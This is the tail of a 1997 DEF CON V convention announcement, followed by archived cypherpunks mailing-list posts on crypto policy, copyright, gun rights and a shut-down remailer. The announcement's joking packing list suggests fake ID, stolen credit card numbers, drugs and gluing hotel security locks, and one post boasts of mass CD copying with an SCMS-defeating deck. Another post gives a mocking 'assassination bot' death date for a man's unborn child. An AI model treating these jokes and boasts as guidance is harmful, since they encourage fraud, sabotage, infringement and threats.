 [>     RADIO BURST CANNON DEMONSTRATION: (Friday)

        While not quite a HERF gun, this should come close.  The RBC should
        be able to produce up to or less than one MegaWatt for up to or less
        than one second.  What will this do?  Who knows!  Come and find out.
        Obviously the above demonstrations will take place away from the
        local hospitals and casinos out in the desert someplace, so be
        prepared.


 HOTELS:----------------------------------------------------------------------

 [> Book your room NOW!!!  We have a block of rooms, but it is first come,
 [> first served.  Rooms get released about one month before the convention.
 [> Book by June 9th or risk it.  The room rates are quite cool this year.


        PRIMARY HOTEL: The Aladdin Hotel and Casino
        3667 Las Vegas Blvd. South, Las Vegas, Nevada
        Built in 1966 it is one of the oldest hotels in Las Vegas that
        hasn't been blown up to make room for newer ones.  It is quite nice
        and has Tennis courts, two swimming pools, Chinese, Vietnamese and
        Korean.  A Seafood and steakhouse, Joe's Diner and a 24 hour coffee
        shop too.  It's located next to the MGM Theme park on the strip.

        PHONE: 1-800-634-3424, reference the "DC Communications conference"
        for reservations.  702-736-0222

        RATES: Single & Double rooms are $65 in the Garden section, $85 for
        the Tower.  Suites are $250 to $350.  All costs are plus 8% room tax.
        Rollaway beds are available for an additional $15 a night.


 STUFF IN VEGAS:--------------------------------------------------------------

 URLs

         Listings of other hotels in Las Vegas, their numbers, WWW pages, etc.
         http://www.intermind.net/im/hotel.html
         http://vegasdaily.com/HotelCasinos/HotelAndCasinos/CasinoList.html

 VENDORS / SPONSORS / RESEARCH:-----------------------------------------------

         If you are interested in selling something (shirts, books,
         computers, whatever) and want to get a table contact me for costs.

         If you have some pet research and you want to have the participants
         fill out anonymous questioners please contact me for the best way
         to do this.

         If you want to sponsor any event or part of DEF CON V in return for
         favorable mentions and media manipulation please contact me.  For
         example in the past Secure Computing has sponsored a firewall
         hacking contest.

 MORE INFO:-------------------------------------------------------------------

  [>     DEF CON Voice Bridge (801) 855-3326

         This is a multi-line voice bbs, VMB and voice conference system.
         There are 5 or so conference areas, with up to eight people on each
         one.  Anyone can create a free VMB, and there are different voice
         bbs sections for separate topics.  This is a good neutral meeting
         place to hook up with others.

         The Voice bridge will be changing numbers soon, but the old number
         will refer you to the new location.  The new spot won't suffer from
         "Phantom" bridges!

  [>     MAILING LIST

         send emial to majordomo@merde.dis.org and in the body of the message
         include the following on a separate line each.

         subscribe dc-stuff

         dc-announce is used for convention updates and major announcements,
         dc-stuff is related to general conversation, planning rides and
         rooms, etc.

  [>     WWW Site http://www.defcon.org/

         Convention updates and archives from previous conventions are housed
         here.  Past speakers, topics, and stuff for sale.  Also a growing
         section of links to other places of interest and current events.

  [>     The Third Annual California Car Caravan to DEF CON!
         http://www.netninja.com/caravan

         There are also some resources (links to other web sites and text
         files) generally related to DefCon--not specifically the California
         Caravan. These resources are available at:
         http://www.netninja.com/caravan/resources.html

  [>     The DEF CON V Car ride sharing page:  Use this site to arrange ride
         sharing to the convention from all over North America.  If you can
         spare a seat for someone, or need to leech a ride go to the ride
         sharing page set up by Squeaky.

         http://garbage.bridge.net/~defcon/defcon.html

  [>     EMAIL dtangent@defcon.org

         Send all email questions / comments to dtangent@defcon.org.  It has
         been said that my email is monitored by various people.  If you want
         to say something private, please do so with my pgp key (At the
         bottom of this announcement)  I usually respond to everything, if
         not I'm swamped or had a system problem.

  [>     GIVE ME MONEY! SNAIL MAIL PRE-REGISTRATION

         Send all written materials, pre-registrations, etc. to:

         DEF CON, 2709 E. Madison, Seattle WA, 98112
         If you are pre-registering for $30 please make payable to DEF CON
         and include a name to which you want the registration to apply.
         I don't respond to registrations unless you request.

 DO YOU WANT TO HELP?---------------------------------------------------------

         Here is what you can do if you want to help out or participate in
         some way:

         Donate stuff for the continuous giveaways and the various contests.
         Got extra ancient stuff, or new cool stuff you don't use anymore?
         Donate it to a good cause!  One person was very happy over winning
         an osborne "portable" computer.

         ORGANIZE sharing a room or rides with other people in your area.
         Join the mailing list and let people know you have floor space or
         some extra seats in your car.  Hey, what's the worst that can
         happen besides a trashed hotel room or a car-jacking?

         CREATE questions for hacker jeopardy (you know how the game is
         played) and email them to winn@infowar.com.  No one helped out last
         year, so this year let's try.  Everything from "Famous narks" to
         "unix bugs" is fair game.

         BRING a machine with a 10bt interface card, and get on the local
         network, trade pgp signatures, etc.

 FINAL CHECK LIST OF STUFF TO BRING:------------------------------------------

         From: Enigma

          Here is a list of items to bring to DefCon.  These are only
         suggestions.  Your mileage may vary.  :)

         Items to bring to DefCon
         ~~~~~ ~~ ~~~~~ ~~ ~~~~~~
         Clothing
         - Comfortable shirts and pants/shorts
         - Socks, underwear, etc
         - Bathing suit
         - Toiletries (deodorant, toothbrush, comb, hair spray,..., giant
           tub of hair grease, Oxy pads, etc)
         - An extra towel (don't leave home without it.  Anyway, doesn't
           it always seem that you run out of clean towels in the
           bathroom?)
         - Something cool, hip, pimp-o-matic, or ninja-riffic to wear
           Saturday night at the Black and White Ball
           You can skip the deodorant and extra clothing if all you are going
           to do is play "Magic: The Gathering" and "Quake."  Everyone else
           does.

         Stuph
         - Your shades.  Vegas is hot.  The sun is bright.  'Nuff said.
           (If you wear eye glasses, I hear the clip-on, flip-up sunglasses
           are quite the fashion statement)
         - Sunscreen of at least SPF 100.  After spending hundreds of hours
           in front of the monitor, who needs the sun to ruin their ghostly
           white tan?
         - A hat--preferably with a cool logo or catchy phrase like "Gandalf
           Routers," "Netscape," "Microsoft [with "sucks" scrawled below it
           in permanent marker]", "I [heart] [insert government institution:
           Cops, Feds, etc]"...you get the idea
         - Note book, palmtop, or laptop to take notes on during the speeches
         - [Micro]casette recorder to record the speeches (or everyone
           getting drunk in your room Saturday night, not knowing what they
           are saying, with no hope of remembering it...excellent blackmail
           material!)
         - Camcorder (see above...<>)
         - Digital camera--for all of the above reasons PLUS you can
           instantly upload the images through the T1 onto the net
         - Fake ID for all of you under 18/21
         - Fake ID for everyone else, if you're planning something illegal
         - Your best jokes (Nooooo!  Not the superman joke!  Not the pink
           joke)
         - Your best hacking stories...these are all about something "your
           friend" did, aren't they?  You wouldn't admit to doing anything
           illegal, now, would you?
         - Someone else's--oops, I mean "your" credit card numbers

         Fun
         - Your drug(s) of choice -- From caffeine to pot to speed to acid
         - Zippo and extra fuel.  And while you're at it, put an extra flint
           (assuming you can find one in the back of your junk drawer) in
           the bottom.  You always run out at just the wrong time.
         - Extra smokez (Splurge: get some cigars or cloves for the weekend)
         - Leather
         - Handcuffs and chains, nipple clamps, etc.
         - Saran wrap, duct tape, electrical tape, gaffer's tape
         - Candles (the drippy kind)
         - Incense
         - Oils
         - Your copy of "The Pocket Kama Sutra" (ISBN 0-7894-0437-0)
         - That corn starch and water "slime" that Light Ray (I believe) and
           others believed to be the ultimate thing, several DefCon's back.

         Tech
         - Laptop w/ Ethernet card
         - Extra laptop battery
         - A zip drive with a stack of disks containing all your soooper
           k-rad haxing utilities and g-files
         - 10bt/10b2 cabling
         - A small hub
         - You did remember to put a packet sniffer on your zip disk, right?
           Just checking.
         - Every power cord you could possibly need
         - A serial cable with a plethora of adapters so you can get each
           end to be male/female, 9pin/25pin, null-modem/straight
         - Cable to connect the above mentioned digital camera to the laptop
         - Scanner (modded, of course)
         - Frequency counter (I hear the "Scout" is pretty good)
         - HAM radio.  Any band, any frequency.  You didn't modify it to
           transmit on arbitrary frequencies, did you?  Naughty monkey!
         - An assortment of tuned antennas
         - That zip disk has the FCC frequency allocations on it, right?
         - Your uber-elite organizer (the DOS based HP palmtops are quite
           cool) to collect handles and email addresses from people
         - High energy weapons ("Is that an unlicensed nuclear accelerator
           on your back?"  "No, it's just a HERF gun."  "Oh.")
         - Laser pointer (don't get kicked out of the hotel again, youz
           doodz)
         - Your "white courtesy phone" that you stole from the Monte Carlo
           last year
         - A microbroadcasting station with plenty of tuneage
         - Your lock picks or lock picking gun
         - A pocket-sized tool kit containing a modular screwdriver and
           plenty of attachments (flathead, philips, torx, hex, etc)
         - A pocket knife, pliers and wire cutters--or alternatively a
           Leatherman's tool
         - Hell, while you're at it: why not some bring bolt cutters, a
           sledge hammer, and a hack saw?
         - Telephone handset with alligator clips.  Or, if you're uber-
           31337, you have a lineman's butt set (with the serial number
           and telco logo filed off)
         - Bubble gum or epoxy putty--anything maleable and hardens.
           This is good for fixing hoses under the hood of your car.
           It's also useful to jam mechanical sensors (What would happen
           if the microwave always though it's door was open?  Or if the
           elevator always thought there was someone blocking the path
           of the door?  Wouldn't hotel security be pissed if they
           couldn't get into their security room because someone jammed
           a toothpick into the keyhole with krazy glue?)
         - An alabi
         - Spam
         - Multimeter
         - Cordless electric soldering iron
         - Parts box

 MY PGP KEY:------------------------------------------------------------------

 -----BEGIN PGP PUBLIC KEY BLOCK-----
 Version: 2.6.1

 mQCNAy6v5H8AAAEEAJ7xUzvdRFMtJW3CLRs2yXL0BC9dBiB6+hAPgBVqSWbHWVIT
 /5A38LPA4zqeGnGpmZjGev6rPeFEGxDfoV68voLOonRPcea9d/ow0Aq2V5I0nUrl
 LKU7gi3TgEXvhUmk04hjr8Wpr92cTEx4cIlvAeyGkoirb+cihstEqldGqClNAAUR
 tCZUaGUgRGFyayBUYW5nZW50IDxkdGFuZ2VudEBkZWZjb24ub3JnPg==
 =ngNC
 -----END PGP PUBLIC KEY BLOCK-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmarket@toad.com
Date: Tue, 1 Jul 1997 21:36:18 +0800
To: cypherpunks@toad.com
Subject: Turn Your Debts Into Real Wealth!!
Message-ID: <19970701131833.ABE1836@Default>
MIME-Version: 1.0
Content-Type: text/plain



Hello,_Morons,


TURN EVERY $1 OF YOUR DEBT
INTO $11.83 OF REAL WEALTH!

This program *** from a two-time Inc 500 company ***
is sweeping the country, because it does the one thing 
every network marketer is working for. It gets them to
debt-free (including their mortgage) financial independence 
in the shortest possible time.

Isn't achieving financial independence the reason you 
became interested in network marketing in the first place?
Then why not check out the network marketing program where
the product itself can make you financially independent?

For a FREE information package call the recorded message
at (303) 830-3755 or (800) 211-7097 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 2 Jul 1997 01:52:23 +0800
To: declan@well.com>
Subject: Re: Marc Andreessen on encryption and CDA
In-Reply-To: <3.0.32.19970701084404.006d101c@best.com>
Message-ID: <3.0.2.32.19970701133757.035d5510@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 08:49 AM 7/1/97 -0700, geeman@best.com wrote:
>I suppose that's why US displays the greatest income disparity between rich
>and poor of
>any of the industrialized nations?   

We don't know if this is true because no statistical series captures all 
"wealth."  The underground economy here is supposedly 15% but higher in much 
of Europe.  Also no country includes public benefits in income calculations 
although they are income and the higher US medical costs substantially 
increase the total income of those receiving Medicaid.  Those comparisons are 
suspect because too much income is excluded from the calcs.

>Why some 10 or 20 billionaires
>collectively own more
>wealth than some 20% of the world's population? Or were you being sarcastic?

They don't.  They own more "securities."  If you total the discounted 
(present) value of the future income stream of 20% of the earth's population 
(adjusting for the probable massive income increases of the next 20 years of 
extreme boom times), and you count the value of personal property it comes to 
more than the current wealth of the top billionaires who after all are 
apparently worth less than a $trillion or two collectively.

But I don't know what this all has to do with encryption policy, however.

DCF 
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7lAc4VO4r4sgSPhAQEkSQP/Rs+XzPrzUQptgBWK+LLb+vmAMPcaBHWE
Ww1PsYGqwo4W0Mlse0ynCGZfZdiIx+tlDbWbqYtvisNqeIYK8Qcn8K7b63ytZ1aN
OPM/DshwQ0bpgQMoTXpMwGnZmB9e4/LGriZXMSmk+fkZvO2flmVuUMj+Vao+Bs+N
xLZKAHYvXWw=
=F09z
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 2 Jul 1997 02:19:23 +0800
To: cypherpunks@toad.com
Subject: The Walsh Report
Message-ID: <1.5.4.32.19970701174406.0067b530@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Anonymous (V) we offer the full Walsh report for the
Australian government on encryption policy which critiques the 
validity of key escrow, as described in the news report posted by 
John Gilmore yesterday. It's a big one, 280K so we offer three 
versions:

1. Full report: 

     http://jya.com/walsh-all.htm  (280K)

2. Full report Zipped: 

     http://jya.com/walsh-all.zip  (93K)

3. Separate files for TOC and foreword, 6 chapters and annex: 

     http://jya.com/walsh-rep.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dead Lucky" <dl@dev.null>
Date: Wed, 2 Jul 1997 04:40:18 +0800
To: cypherpunks@toad.com
Subject: Re: Has your privacy been invaded? Protected? Both?
Message-ID: <199707012007.OAA28328@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



geeman@best.com wrote:

> I have been fairly careful and very jealous of my privacy; and then my name
> and home address showed up on one of the name-search pages.  I don't know if
> it's still there, and I don't remember the link.  But then the Similac
> marketing Geniuses sent me something in the mail that even included the due
> date of my expected child!

  And the predicted date of the death of your child is January 19,
2015, according to the Dead Lucky Assassination Bot statistics.
  The good news is that there is only $1.48 bet on this eventuality,
so the chances are slim that anyone is going to go out of their way
to collect (unless you are such a bad father that your child turns
out to be a total asshole).

D. Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 1 Jul 1997 23:59:24 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.3.89.9706301850.A28965-0100000@netcom2>
Message-ID: <Pine.LNX.3.91.970701144253.357B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> The idea is that the criminal has received their punishment once released 
> from prison. Any further infringements on the person's rights are
> unacceptable. That includes the person's Natural Right to acquire 
> fully-automatic weapons, should he so desire. [BTW, the nature of the crime 
> committed is irrelevant].

Not so, I believe Kent pointed out the US statute that describes 
unreasonable punishment as being "cruel and unusual", banning ownership 
of firearms as part of the punishment for a violent crime seems perfectly 
reasonable to me, but foo on that anyway: punishment should fit the 
crime, if you commit murder or rape or any one of a number of such 
serious crimes I see no reason why you shouldn`t be punished cruelly.

I can see the point of view which accepts serving of sentence as being 
the end of punishment, and I do not accept a ban on firearms as being 
implicit in the commision of a felony, but if a court explicitly states 
that part of the punishment should be a X year or lifetime ban I can 
accept that.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 2 Jul 1997 00:44:36 +0800
To: stewarts@ix.netcom.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970630095754.0075943c@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.91.970701144702.357C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Adam Back, by contrast, said he'd be quite pleased if some US cypherpunk
> were to physically mail him a copy of the disk, which he'd pay for.
> While that's arguably violating export laws, it's not ripping anyone off.

I don`t believe in copyright in general, but I would be perfectly happy 
to pay a US cpunk to send me a copy of this CD-ROM, *BUT*, physically 
mailing a copy like this is more risky for the US Cpunk. I don`t believe 
in ripping people off, and rarely copy copyrighted material, but I don`t 
hold with copyright laws and see nothing wrong with this being posted.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 1 Jul 1997 23:53:01 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.BSF.3.91.970630165630.24139F-100000@mcfeely.bsfs.org>
Message-ID: <Pine.LNX.3.91.970701145420.357D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> > however, banning ownership of guns for any felony is definitely not at 
> > all reasonable.
> > 
> 
> It beats being banned from possessing weapons for living in the U.K.

I don`t know: most UK citizen-units are guilty of criminal stupidity, 
maybe this implies a ban on ownership of guns? ;-)...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 1 Jul 1997 21:32:20 +0800
To: cypherpunks@toad.com
Subject: re:mailing list
Message-ID: <199707011318.PAA01313@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



When did it become acceptable to be so stupid???  How many systems-experts do you know who use
AOL frequently.

OOh...I forgot about that new section, PGP For Dummies...(chuckle)

C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 1 Jul 1997 12:24:49 +0800
To: alano@teleport.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <86772952415649@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain



>Copyright laws will do nothing to prevent the text from being distributed.
>All copyright laws will do is make you able to punish "offenders" after
>the fact.  They have no mystical value to "protect" anything, especially
>digital medium, which is easy to copy.
 
What makes this case especially awkward is the fact that the CDROM can't 
legally be sold outside the US, which means the only way the rest of the world 
can get it is through illegal copies.  Given the immense usefulness of 
something like this, I'd say it's only a matter of time before bootleg copies 
start appearing outside the US, but because of the USG's position we can't pay 
for it even if we want to (DDJ wouldn't look too good if they accepted payment 
for what they knew was illegally exported crypto).  Perhaps a donation of the 
same amount to charity would serve as some equivalent to payment...
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Wed, 2 Jul 1997 04:40:08 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <Pine.LNX.3.91.970630161745.749C-100000@fatmans.demon.co.uk>
Message-ID: <97Jul1.161438edt.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain




The difference is that there are no borders on the internet.  I can't move
a physical storefront, nor an account at a local bank, but my virtual
website and e-receipts can be 12 timezones and one hemisphere distant in a
few minutes.  Or even spread across 12 timezones and two hemispheres :).

Just starting with strong crypto in the sense of things like PGP, add
anonymous broadcast and M of N secret splitting and if the mind recovers
from the mathematical boggle, the societal implications will be there to
ponder.  If money or ownership of property is data, it will be
uncontrollable in a few years, if that.

On Mon, 30 Jun 1997, Paul Bradley wrote:
> 
> > juicy, but just as viable.  And Nazi Germany is also proof that strong
> > crypto really doesn't do much good when the rubber hoses can be
> > deployed without hinderance.
> 
> Strong crypto you must remember is only part of the solution. The reason 
> for the lack of direct response from the Jews during the holocaust was 
> the "legally elected" 3rd Reichs programme of disarming it`s citizens.
> 
> Strong crypto along with other communication technologies provide a 
> strong and secure framework within which armed resistance can take place, 
> these same technologies also allow for infowarfare type attacks on the 
> infrastructure of whole countries or jurisdictions.
> 
> > In fact, your safety and wealth depends in large measure on the
> > protections provided by that government you scorn.  In any healthy
> > tyranny the jackboots would have been on your throat long ago,
> > regardless of your little arsenal, and your money would be purchasing 
> > toys for the rulers.
> 
> Well, tax money already does purchase toys for the rulers and the 
> jackboots are moving towards our throats slowly so no-one notices. Safety 
> and wealth derive from free market economies and rights to self-defence, 
> not from a government.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 1 Jul 1997 19:46:26 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <v03007808afde3e5ff547@[207.94.249.152]>
Message-ID: <Pine.LNX.3.93.970701173346.710A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain




[Coderpunks removed as its off topic there.]

On Mon, 30 Jun 1997, Bill Frantz wrote:

> Date: Mon, 30 Jun 1997 21:57:39 -0700

[...]
> At 8:58 AM -0700 7/1/97, Peter Gutmann wrote:

> >What makes this case especially awkward is the fact that the CDROM can't
> >legally be sold outside the US, which means the only way the rest of the
> >world can get it is through illegal copies.  

IIRC if something is not published in australia within some time perod of
it getting published elsewhere interesting things happen to the
copy and publishing rights.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 2 Jul 1997 03:33:09 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
Message-ID: <19970701175103.2307.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Citizen-Unit T.C. May wrote:
>(Somehow most people think it's OK that convicted felons lose their rights
>to vote and to have guns. (Once they're released, of course.) Do they think
>convicted felons no longer have religious freedom? Can no longer write as
>they wish? Jeesh.)

  Citizen-Unit May is coming dangerously close to thought-crime in this
message. The politically correct phrasing is as follows: 

  "Since convicted felons lose their rights to vote and to have guns, surely 
there is no reason why they shouldn't also lose their rights to free speech 
and religious freedom. We must protect the children from such dangers."

  This issue provides clear support for our long tradition of compromising
with the government on important issues - had we taken a "no compromise"
stand on felon's rights to vote and own guns then we would not now be able
to use that as justification for restricting further rights, just as prior
compromise on the First Amendment rights of "child pornographers" has given 
the government a neccesary stepping-stone for restricting freedom of speech 
of adult pornographers and other authorized enemies.

CompromiseMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 2 Jul 1997 09:11:32 +0800
To: cypherpunks@Algebra.COM
Subject: Clinton's Laissez-Faire Policy
Message-ID: <199707020051.RAA24644@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



Tuesday July 1 6:28 PM EDT 

Clinton Unveils 'Hands Off' Internet Strategy

WASHINGTON (Reuter) - Hailing the Internet as an engine for future
economic growth, President Clinton Tuesday unveiled a largely
laissez-faire policy to promote commerce in cyberspace unburdened by
new government taxes. 

See More at:

http://www.yahoo.com/headlines/970701/politics/stories/internet_6.html

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 2 Jul 1997 09:12:33 +0800
To: cypherpunks@Algebra.COM
Subject: Liberating the Bits
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <v03102801afdf55bc34b9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:55 PM -0700 7/1/97, Anonymous wrote:

> I have never had any problem with someone recording a copy of my
>music from a purchased copy if they are a music lover with a thin
>pocket, or can't readily purchase it. If someone with a $2000.00
>stereo wants to enjoy the fruits of my labor without contributing
>any money to my health and welfare, then I consider them to be just
>another thief.

Well, my stereo system costs considerable more than $2000. And I copy CDs
whenever I can.

I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend
of mine has really gone overboard, copying more than 4000 CDs (rock, blues,
jazz, country, you name it) onto more than 1000 DATs.

Given that a new CD typically costs about $16 US, and a blank DAT tape
costs about $4 for a 3-hour tape, the savings are spectacular. (My friend
uses a lot of the 4-hour DATs, but I don't trust them. They jam in some
machines.)

We get these CDs by borrowing from friends (who haven't gotten into DATs
yet), and especially from libraries. My friend has library cards at more
than 6 library systems, covering about 20 actual library sites. Each has
thousands of CDs (though there is much duplication, and a lot of junk.)

And I now have a SCMS defeating DAT machine, a Tascam DA-P1, so I can
"mine" his collection of 4000+ CDs-on-DAT and make flawless digital copies.
(The copies from a CD are flawless with any dubbing that uses the digital
I/O, but DAT to DAT copies have been disabled on consumer-grade machines
with SCMS, the Serial Copy Management System. SCMS defeaters reset the SCMS
bits to allow any number of perfect copies.)

Technology liberates the bits.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@replay.com>
Date: Wed, 2 Jul 1997 01:47:22 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <199707011728.TAA02315@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Gutmann sez:
[..]
: What makes this case especially awkward is the fact that the CDROM can't 
: legally be sold outside the US, which means the only way the rest of the world 
: can get it is through illegal copies.  Given the immense usefulness of 
: something like this, I'd say it's only a matter of time before bootleg copies 
: start appearing outside the US, but because of the USG's position we can't pay 
: for it even if we want to (DDJ wouldn't look too good if they accepted payment 
: for what they knew was illegally exported crypto).  Perhaps a donation of the 
: same amount to charity would serve as some equivalent to payment...

It would be nice to see a Dr. Dobbs CD at the HIP ...


--
 -aj-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Wed, 2 Jul 1997 12:07:21 +0800
To: cypherpunks@Algebra.COM
Subject: Jeff's Side of the Story.
Message-ID: <199707020337.UAA17514@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain




There's been an ongoing discussion of the Huge Cojones remailer situation
on the related newsgroups.

This has a lot of relevance to our issues, and this is one of the more
illuminating articles.

--Tim


> From: toxic@hotwired.com (Jeff Burchell)
> Newsgroups:
alt.privacy.anon-server,alt.fan.steve-winter,alt.religion.scientology,alt.anonymous,misc.misc,alt.censorship,news.admin.censorship,alt.cypherpunks,comp.org.eff.talk,news.admin.net-abuse.misc
> Subject: Jeff's Side of the Story.
> Followup-To:
alt.privacy.anon-server,alt.fan.steve-winter,alt.religion.scientology,alt.anonymous,misc.misc,alt.censorship,news.admin.censorship,comp.org.eff.talk,news.admin.net-abuse.misc
> Date: 1 Jul 1997 20:02:22 GMT
> Organization: Content, Inc
...
> 
> Anonymous (nobody@REPLAY.COM) wrote:
> 
> : > Only Jeff knows the whole story.
> 
> Actually, not even I know the whole story.  If I truely knew who it was
> that was orchestrating this attack, it would have stopped, one way or
> another.  The problem is, I don't know all the players (I have some 
> suspicions, which I'll elaborate on further in a little bit) but I don't
> _really_ know who did it, and I really don't know why (other than a "I
> don't like remailers, I think I'll shut one down").  And I really don't
> know the background or what precipitated this.
> 
> : > But I have to ask. Could this
> : > just be an" I'm sick of this shit, f**k it, I quit, who needs this
> : > aggravation, I'll just pull the plug and go have a beer" reaction
> : > to what really seems like a fairly small problem.
> 
> It is not a small problem anymore when you're getting >200 complaint 
> messages a day, plus 5-10 phone calls to your employer (and your
> employer's legal department).  Fortunately, Wired is a very progressive
> company, and supported my efforts to provide anonymity, but our lawyers
> aren't paid to answer phone calls on my behalf.  Running a remailer is
> one thing... getting harassed at work is an entirely different matter, and
> getting a THIRD PARTY harassed at work is yet another one.
> 
> But yes, The ultimate "take this thing down" decision was one made 
> because I was sick of this bullshit.  But you know what?  I volunteer
> my time, my computer equipment, and bandwidth that is given to me
> as part of my salary.  I do (well did) all of this because I believe
> that anonymity is a right, and because I have the capabilities of
> helping to provide anonymity to the masses.  When the remailer was
> self-sufficient (before the attacks started), it took maybe 10 minutes
> of my time a day, and minimal resources on my machine.  Afterwards, 
> even after I put in the auto-blocking feature (send a blank message 
> to a particular address and get your address blocked) and the 
> autoresponder on the remailer-admin account, I was still getting >100
> messages a day reporting abuse... almost all of it spam-bait related.
> I receive no benefit from running the remailer (I don't even use it
> myself), and when it becomes a fairly major hassle without any 
> rewards, the decision is not a hard one to make.
> 
> And frankly, I already have enough to do, and get enough mail on a
> daily basis (at last check it was hovering around 600 messages/day).
> As soon as the remailer started taking up a lot of my time, it became
> time to rethink why I was running it.  The moment that the spam-baiter
> started alerting people who had been baited, and telling them to 
> contact me, it became personal.  And I don't have time to get into 
> personal pissing-contests.  Yes, I took the easy way out, but that
> was my choice to make.
> 
> Anyone who doesn't run a remailer has very little right questioning my
>  choice, because you have no idea what precipitated it.  Most people
> reading this group have the capabilities of running a remailer (it only
> takes a POP account and a Windows machine to run the Winsock remailer), 
> but very few of us actually do.  Why is that?  I've been running huge.
> cajones for just under 2 years, and it averaged just over 3000 messages
> a day, so my remailer was responsible for about 2 million anonymous 
> messages in its lifetime.  I think I've done my part (at least for now), 
> it's time for someone else to do theirs.  If we had 15 disposable remailers
> that operated for 2-3 months each before moving/going away, we'd have
> paths for millions more anonymous messages.  And isn't that what we're
> really trying to provide?
> 
> : The first was doing questionable things, like installing content-based
